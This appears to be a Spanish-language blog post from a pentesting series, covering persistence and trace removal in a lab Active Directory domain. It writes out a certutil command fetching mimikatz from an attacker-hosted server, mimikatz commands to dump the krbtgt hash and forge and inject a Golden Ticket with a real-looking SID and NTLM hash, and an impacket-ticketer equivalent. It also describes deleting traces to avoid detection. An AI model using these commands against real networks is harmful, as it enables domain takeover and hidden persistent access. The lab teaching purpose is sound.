Hola a todos,
Una vez ejecutados todos los ataques disponibles y conseguir acceso como usuario con bajos privilegios, si esto se acontece, el pentester intentará conseguir permisos de administración para instalar una puerta trasera para obtener persistencia en los sistemas, una vez obtenida la persistencia se deberán borrar todas las huellas para no ser detectados.
Introducción
Tras conseguir las contraseñas de usuarios administradores, mediante el ataque ASREPRoast visto en el anterior post y conectarse al AD como administrador, se debe establece la persistencia en la máquina, con el fin de mantener un privilegio de administrador sobre las máquinas a pesar de que estas se reinicien o los usuarios cambien sus contraseñas.
Para la eliminación de huellas tras la ejecución de las vulnerabilidades, se debe realizar una limpieza de los sistemas vulnerados, desde los scripts y/o binarios u otros tipos de archivos utilizados temporalmente. Por otro lado, la configuración del sistema también debe restaurarse a su estado anterior a la auditoría original y debe eliminarse la puerta trasera, si se tratase de una auditoría verídica.
_Persistencia_Persistencia
Persistencia
La herramienta que vamos a utilizar para establecer la persistencia es mimikatz que se descargará en el AD, mediante la herramienta de conexión impacket-psexec vista anteriormente y con la ejecución del comando:
1
certutil.exe -f -urlcache -split http://192.168.140.128:8000/mimikatz.exe mimikatz.exe
Que descargará la herramienta de un servidor web alojado por el atacante.
Golden Ticket y Silver Ticket
La función del ataque del Golden Ticket es construir un TGT. Esto requiere el hash de la cuenta krbtgt, la cuenta utilizada para encriptar el Ticket. Una vez que se obtiene este hash, se puede generar un TGT con el tiempo de vencimiento requerido y, entre otras cosas, se pueden otorgar los permisos que se deseen, se pueden obtener derechos de administrador de dominio, etc.
Por lo tanto, se debe considerar que la validez del TGT depende de dos cosas: el tiempo de caducidad especificado y el hash NTLM (la contraseña de la cuenta krbtgt) en el que está encriptado. Si caduca o se cambia la contraseña de la cuenta krbtgt, el ticket sigue siendo válido independientemente de si la contraseña del usuario suplantado ha caducado.
Silver Ticket es similar, pero esta vez el ticket generado es un ST, que requiere el hash NTLM de la cuenta de dominio asociada con el servicio al que desea acceder. Como se ha indicado se debe obtener el hash de la cuenta krbtgt, para ello desde la herramienta mimikatz, que se ha visto anteriormente se ejecuta este comando para obtener toda la información de la cuenta de usuario krbtgt.
1
lsadump::lsa /inject /name:krbtgt
Mimikatz lsadump tool
Con estos datos se genera un archivo que guardará el TGT (.kirbi) y con el que se podrá acceder desde cualquier equipo del dominio, mediante la ejecución del siguiente comando:
1
kerberos::golden /domain:jcaballer.local /sid:S-1-5-21-2113225452-1616628721-3036420712 /rc4:68d55b3d5bb0eafe54b8aa8ef608cb28 /user:jcaballeradm / ticket:gold.kirbi
Donde el parámetro sid es el id del usuario krbtgt, el rc4 es el hash NTML, el parámetro user es el usuario con el que se accederá y el parámetro ticket es donde se guardará el Ticket.
Herramienta Mimikatz kerberos::golden
Desde cualquier equipo perteneciente al AD con esos documentos, se puede obtener acceso de administrador. Para realizar la prueba en este proyecto, primero se comprueba que no se obtiene acceso, para posteriormente comprobar que sí, como puede verse en la siguiente imagen.
Prueba de acceso sin Golden Ticket
Tras la importación del Golden Ticket se comprueba que se puede acceder, desde cualquier equipo del AD, con el comando del mimikatz:
1
kerberos::ptt gold.kirbi
Prueba de acceso con Golden Ticket
Otra herramienta que se puede utilizar para llevar a cabo este ataque es impacket-ticketer primero creará y guardará un Golden Ticket para el usuario que se elija que estará todo encriptado/firmado usando RC4; si se especifica -aesKey en lugar de -ntHash todo será encriptado usando AES128 o AES256 (dependiendo de la clave especificada) y además no se genera tráfico contra el KDC.
Para ello se utilizará el comando, donde se facilita el id y el hash NTLM del usuario krbtgt, sobre el dominio con el usuario administrador.
1
impacket-ticketer -nthash 68d55b3d5bb0eafe54b8aa8ef608cb28 -domain-sid S-1-5-21-2113225452-1616628721-3036420712 -domain jcaballer.local jcaballeradm
Herramienta impacket-ticketer
Borrado de huellas
Tras conseguir la persistencia en todos los equipos de AD, se debe eliminar todos los archivos que han sido subidos a estos, ya sean scripts o documentación, en el caso de este proyecto, se han descargado varios archivos en los equipos del AD, como el script de PowerShell que devolvía una reverse shell hacia el equipo del atacante, la herramienta mimikatz o el archivo para realizar una copia del disco, por lo que todos esos archivos se deben eliminar.
Estado final
Finalmente, el pentester ha cumplido su trabajo siguiendo la metodología expuesta.
Estado Final
Conclusión
Esto sería todo para obtener la persistencia en el entorno y borrar las huellas que podamos haber dejado, con esto finaliza la metodología presentada para hacer el pentesting. Sin embargo, voy a publicar dos post mas donde incluiré algunas propuestas de seguridad que pueden emplear los administradores de sistemas y una pequeña conclusión del proyecto final.